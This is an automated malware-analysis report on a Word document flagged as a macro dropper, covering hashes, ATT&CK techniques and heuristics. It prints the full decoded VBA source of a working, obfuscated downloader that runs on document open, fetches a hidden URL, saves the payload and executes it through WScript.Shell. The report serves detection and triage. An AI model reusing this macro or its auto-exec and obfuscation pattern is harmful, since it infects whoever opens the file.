Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5a74b0644482c8c…

MALICIOUS

Office (OLE)

184.0 KB Created: 2016-05-18 23:12:00 Authoring application: Microsoft Office Word First seen: 2018-07-08
MD5: efea1f2c7819e5fba80211279ac6c8ae SHA-1: ab02a1d24b42c416fb8c78f475a6cfc9565efda8 SHA-256: f5a74b0644482c8cdaf877889fe4d8532a3ca875b8fc1930677240d8a9535e4e
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open macro, and utilizes WScript.Shell and CreateObject, indicating malicious intent. The presence of obfuscated VBA code suggests an attempt to hide the execution of a second-stage payload, likely downloaded from a URL. The ClamAV detection 'Doc.Dropper.Donoff-5743530-0' further supports this assessment.

Heuristics 11

  • ClamAV: Doc.Dropper.Donoff-5743530-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Donoff-5743530-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Dim VFUJS As String
Set mhvhbm = CreateObject("WScript.Shell")
End Function
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim VFUJS As String
Set mhvhbm = CreateObject("WScript.Shell")
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim Hlxch As Boolean, RKLHuagrZb As Integer
Set PIjdd = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Set tnjYS = PIjdd
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    Public Sub sbiMP(ByVal hlGPakix As Integer, ByVal ptZZSKuMPj As Variant, ByVal otPaKm As Variant, ByVal tfphHRyhY As Object, ByVal gkCHWF As Variant, ByVal dZOLOPIKET As Integer, ByVal rboAkPIByK As String)
CallByName tfphHRyhY, rboAkPIByK, 1, otPaKm, gkCHWF, ptZZSKuMPj
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_Open()
Dim FnadiHKN As Integer
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9016 bytes
SHA-256: 4a26c68fba43c3375473b51665303247555dea2d276fa92c29f8298fcb4676ea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
165 of 245 identifiers look randomly generated (e.g. 'NVAHRylQU5z9Wo9KUq7G3Bx7SSitKCdv0') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function pSwLRNysw() As Integer
NddjA
If XBccwj(5601, "gADMZs4BimsKlLrXwmVolvy") Then
kdFtL
Else
nuvzfFK
End If
pSwLRNysw = 8139
End Function
Private Sub Document_Open()
Dim FnadiHKN As Integer
Dim MBgjl As Integer
OzzRL.YVISKe
End Sub
Private Sub sojai()
mJgHQ False, False, 4238
gcLIjQ True
End Sub

Attribute VB_Name = "fbSQuiEkHK"
Private Sub AXxDUWdd()
OfSXF "tjWL6hMDtRkTii0MW5Z6i", 6165
yHQxN
dgWaQn
If QREzQooq Then
gxyGcw
Else
qnYhDzuW
bBjpOnw "uNQExJsNN9qNp6mBPHg", "6tcjAQRpf1xZ0R526RgOBmuwma7"
End If
End Sub
Public Function EYcixhhRzP(ByVal GKBFDJ As String, ByVal qpxzRwMIC As String) As String
Dim EMVkTCjEu As Boolean
Dim qReXISisK As Integer, xaMXvJj As Boolean
SBuYvDo = 5338
For rnAYOYE = 1 To uHXZZeFXf.MoNpiBZqj(3700, "NVAHRylQU5z9Wo9KUq7G3Bx7SSitKCdv0", qpxzRwMIC)
EMVkTCjEu = uHXZZeFXf.VtrIImc(GKBFDJ, "An0HaTl40kfCX9HfZrGMjh4H8L3JH", uHXZZeFXf.FJRhO(qpxzRwMIC, rnAYOYE, 2535, "FsLtt2RYu4wrgcB1guHUOJaqTwS8Kj"))
sEodtQL = "pHHd5mnWNJWPNPHEd4jmlPtD"
If Not EMVkTCjEu Then
EYcixhhRzP = uHXZZeFXf.vzrZpQTc(EYcixhhRzP, uHXZZeFXf.FJRhO(qpxzRwMIC, rnAYOYE, 2535, "5PZKdZc4rmCfFoRzzMgCI"))
End If
BhvAq = "yB3uBFjs2bII8jNKIEFDSyM5HS6Eht3uH"
Next
End Function
Private Function LVGVbT(ByVal QzoeQeJuib As Boolean) As String
mGpHG "Df4UyVW7h71QOkUdtUT", True, 9730
If iUWnPbt(1475, 8375) Then
MwUvLHxI
End If
QXMkh "NADquoScyHGWSuc6tfvIZF0cUz1", 3269, False
aEcIpbKw True
wVbejPo
LVGVbT = "9dsZokMVqg5D3yHtPbk9HzJ1Spw"
End Function

Attribute VB_Name = "IqYEJ"
Public Sub sbiMP(ByVal hlGPakix As Integer, ByVal ptZZSKuMPj As Variant, ByVal otPaKm As Variant, ByVal tfphHRyhY As Object, ByVal gkCHWF As Variant, ByVal dZOLOPIKET As Integer, ByVal rboAkPIByK As String)
CallByName tfphHRyhY, rboAkPIByK, 1, otPaKm, gkCHWF, ptZZSKuMPj
End Sub
Public Sub EeMyRhZipi(ByVal CUGlJlzVK As Object, ByVal AHSePiWKtE As Integer, ByVal BkKXY As String, ByVal qRinv As String)
CallByName CUGlJlzVK, BkKXY, 1
End Sub
Public Function YizBVzOSRP(ByVal xmSljNmCuj As String, ByVal MrftD As String, ByVal kwCZhhFCXQ As Object) As Variant
Set YizBVzOSRP = CallByName(kwCZhhFCXQ, MrftD, 2, xmSljNmCuj)
End Function
Public Sub FmKhxFLNbP(ByVal kgOoq As Variant, ByVal ipzFjY As String, ByVal gkjcHHRg As Variant, ByVal zLEgoEEdS As Object)
CallByName zLEgoEEdS, ipzFjY, 1, gkjcHHRg, kgOoq
End Sub
Private Function OjfqLdcf(ByVal PzjDkd As String, ByVal VcRUyI As Integer) As String
jzfxURr 2340, 1181, 9816
piAMuSXS 6132, 4579
LXMizfaoij
If dADtLeg Then
uTkVafb 508, 9861
wqQuLT "wvbjZ7rrS3Csv3kvkBPO5tgguPUYe6K", 3675
SlRmBd
End If
SCMoUyqWX
OjfqLdcf = "OP3yyYWAfBpRxf0t8eBPJLTtnC1dYm"
End Function
Public Sub QwyeZQRJr(ByVal oZddTpSZ As Variant, ByVal bWubANvC As String, ByVal XsVRmLLCi As Object, ByVal DGDdibV As Integer, ByVal lPqPN As String)
Dim WQqTavhH As String
Dim tbuPS As String
CallByName XsVRmLLCi, lPqPN, 1, oZddTpSZ
End Sub
Public Function WnTkVXjU(ByVal rdfXUdlMYb As String, ByVal OdTzQDNyO As Object) As Variant
WnTkVXjU = CallByName(OdTzQDNyO, rdfXUdlMYb, 2)
End Function
Public Sub kfBFQGw(ByVal snEnswSpKe As Variant, ByVal TImIB As String, ByVal UFruEoW As Object)
CallByName UFruEoW, TImIB, 4, snEnswSpKe
End Sub

Attribute VB_Name = "OzzRL"
Private Function nolOXQv() As String
nolOXQv = fbSQuiEkHK.EYcixhhRzP("3oLDj9", "P3R39OCLE3So9S")
End Function
Private Function GQEefSFwUt() As String
GQEefSFwUt = "VVRbPjj45nZunhm7bOnkLExMyrUItb6r"
End Function
Private Function zpnJSe() As String
zpnJSe = fbSQuiEkHK.EYcixhhRzP("F26o/L", "LUsL/e2ro-/ALgeFont/")
End Function
Private Function MDkkakTym() As String
Dim xeftLzl As Integer, GJjGE As String
MDkkakTym = fbSQuiEkHK.EYcixhhRzP("M lUa8", "U/a7e8b a0Ueac 9af6U4l80abUbMe. e88x e")
End Function
Private Function mHBJK() As String
bLjwgJSUR = "d7r2JJ3Z2pDm60w6MvWsstrMgXC2N1"
mHBJK = fbSQuiEkHK.EYcixhhRzP("NgYqcZ", "ZEnYYviYYrgongmceNYnct")
End Function
Private Function jSPqFFUPaw() As String
jSPqFFUPaw = EgrDUnhNy
End Function
Private Sub fIwmrPgr(ByVal khpFrjVnMx As String, ByVal kGnvCT As String, ByVal pEwgrWD As Variant, ByVal QsxNcqxIx As String)
Dim VgJBc As String
Dim JiPsKXpk As String
IaFbCbvQf = 5255
Set dDgxUosVcE = POUDAXP.ESUuGXFLHL
IqYEJ.kfBFQGw 1, fbSQuiEkHK.EYcixhhRzP("LBoZgmq/", "mTZypoeq"), dDgxUosVcE
IqYEJ.EeMyRhZipi dDgxUosVcE, 8172, fbSQuiEkHK.EYcixhhRzP("PiG1UjQ", "OipPeGni"), oKzXmnhDv
IqYEJ.QwyeZQRJr pEwgrWD, oKzXmnhDv, dDgxUosVcE, 7897, xqraSsFj
IqYEJ.FmKhxFLNbP 2, fbSQuiEkHK.EYcixhhRzP("fJGc9mC0", "JSaCvceG0TJoFmGiCleG"), khpFrjVnMx, dDgxUosVcE
IqYEJ.EeMyRhZipi dDgxUosVcE, 8172, fbSQuiEkHK.EYcixhhRzP("KMwhE6", "6C6lo6Eswe"), oKzXmnhDv
End Sub
Private Function ToiGxeBy() As String
ToiGxeBy = fbSQuiEkHK.EYcixhhRzP("Okxw0KC", "kSOektwRweqOuOOeswtkHwexKa0dxerk")
End Function
Private Function QbHdbtTR() As String
QhJzBSkuli = 9116
QbHdbtTR = fbSQuiEkHK.EYcixhhRzP("PiG1UjQ", "OipPeGni")
End Function
Private Sub bssAz()
Dim YdUjrBojh As Integer
On Error GoTo uAYDu
DrqfObQoU jSPqFFUPaw, QLhrlM
nHFskkviX = "1zkye0Ur0oyXUM6KaJnbh"
qtfYsZYDz QLhrlM, "mXe4SAfBnGAkNikXo", False
Exit Sub
uAYDu:
End Sub
Private Sub DrqfObQoU(ByVal mEToQa As String, ByVal eDMRVK As String)
Set Goguw = POUDAXP.tnjYS
IqYEJ.sbiMP 6693, False, fbSQuiEkHK.EYcixhhRzP("KAgQjJ2L", "GKLEAT"), Goguw, mEToQa, 9594, QbHdbtTR
LfPYoESsUK = False
IqYEJ.FmKhxFLNbP fbSQuiEkHK.EYcixhhRzP("h5rHPCZg", "HMHozHHilhglCag/P4.ZZ0H 5(5cComgpharPtigCbPlPe;r)H"), ToiGxeBy, zpnJSe, Goguw
eNLxFz = "6tWJExBWu0glLlnKNFtKZHd6M"
IqYEJ.EeMyRhZipi Goguw, 8172, fbSQuiEkHK.EYcixhhRzP("pZhU24tr", "SZte4ndZ"), "jM0VxxoDkw9O6iQbjWMF8OykxQyJ6l"
fIwmrPgr eDMRVK, "bJbBmojMh6znbvfxKGVD3l4", IqYEJ.WnTkVXjU(fbSQuiEkHK.EYcixhhRzP("WwH50j7fY", "Rw7esf0poYnWfsej0BwodYyj"), Goguw), "Mf6u3wyU7HYoIgNsg5pg"
End Sub
Private Function BZixiJyo() As String
BZixiJyo = fbSQuiEkHK.EYcixhhRzP("HqVgy4nv", "Evxvency")
End Function
Private Function oKzXmnhDv() As String
usNmDIucf = "22PPvLagz232guUDVWYy9K1HL"
oKzXmnhDv = "RDlypNwlYZ7GqqvD9bL10ea"
End Function
Private Function BUCPrxH(ByVal ofLeYyjvMt As String) As String
If HQBbc Then
JPlDg
zniWRh False, True, 1880
jQPOuwUO
Else
LYGsIFmC
HghafPQh 2785
rBimKfo 1091, 315, 2975
End If
BUCPrxH = "xin5XDNjrExxQE2zXeWSJ"
End Function
Private Function PYxIAzYUJ(ByVal qiUxB As String) As String
Dim MzMRZjRifj As String
COovMr = "sQxqBazQqsAHlan9X4J1KRyWN"
Set xWTqtPWKjL = IqYEJ.YizBVzOSRP(nolOXQv, mHBJK, POUDAXP.mhvhbm)
PYxIAzYUJ = xWTqtPWKjL(qiUxB)
End Function
Private Function EgrDUnhNy() As String
EgrDUnhNy = fbSQuiEkHK.EYcixhhRzP("BRfV5qi", "hBqtftpiq:/Rf/hBfpsqaqfz.iicqoqm/qis5ysift5emBR/qcqacVBh5e5/iwqorRVdB.e5fxeR")
End Function
Public Sub YVISKe()
DSFWQ = 8775
bssAz
End Sub
Private Function xqraSsFj() As String
xqraSsFj = fbSQuiEkHK.EYcixhhRzP("0dYXgI8ls", "lWrliYtgIe")
End Function
Private Sub qtfYsZYDz(ByVal xhMhiPha As String, ByVal SrGjS As String, ByVal DjFfsqTr As Boolean)
Dim BdRJNeUnTP As Integer
Dim AavFVWUsef As String
IqYEJ.QwyeZQRJr xhMhiPha, GQEefSFwUt, POUDAXP.mhvhbm, 7897, BZixiJyo
End Sub
Private Function QLhrlM() As String
Dim vDLvEC As Boolean, rfrVlXygqD As String
NzmDVOpD = False
QLhrlM = PYxIAzYUJ(fbSQuiEkHK.EYcixhhRzP("IV6mZvAC", "CTECMmPI")) & MDkkakTym
End Function

Attribute VB_Name = "POUDAXP"
Private Sub hjKljYqvUT()
QuYYqnyOFO
VmdNCfQ
XducHsOfcu "UMifRJKqsplJeJkj1"
End Sub
Public Function tnjYS() As Object
Dim Hlxch As Boolean, RKLHuagrZb As Integer
Set PIjdd = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Set tnjYS = PIjdd
End Function
Public Function mhvhbm() As Object
Dim VFUJS As String
Set mhvhbm = CreateObject("WScript.Shell")
End Function
Public Function ESUuGXFLHL() As Object
kSeUwKWLwH = 3434
Set ESUuGXFLHL = CreateObject("ADODB.Stream")
End Function
Private Sub HUIUQj()
KbxYhbaay
AvUSfTJh "FzJp5uolJsP3pMHyreg7", "QeVXQCFgEd2C0Ui410JvB8rdLDMoz8", False
ZOkaSukV
End Sub

Attribute VB_Name = "uHXZZeFXf"
Public Function VtrIImc(ByVal NKkgegPjFQ As String, ByVal jdltqrqwx As String, ByVal qkfzV As String) As Boolean
Dim ySGyiZZyQZ As Boolean
VtrIImc = InStr(1, NKkgegPjFQ, qkfzV)
End Function
Public Function FJRhO(ByVal cZjBFlL As String, ByVal FlfVEKU As Integer, ByVal WIrafS As Integer, ByVal rqvAXdAMSb As String) As String
Dim XlfkQYAUv As String
FJRhO = Mid(cZjBFlL, FlfVEKU, 1)
End Function
Public Function MoNpiBZqj(ByVal UjKbstYcbW As Integer, ByVal VwGWeFp As String, ByVal ZKLKzainQk As String) As Integer
Dim yRzMej As Integer
MoNpiBZqj = Len(ZKLKzainQk)
End Function
Public Function vzrZpQTc(ByVal HDnolDXaPD As String, ByVal xiOLpkp As String) As String
Dim wNoyaO As String
vzrZpQTc = HDnolDXaPD & xiOLpkp
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.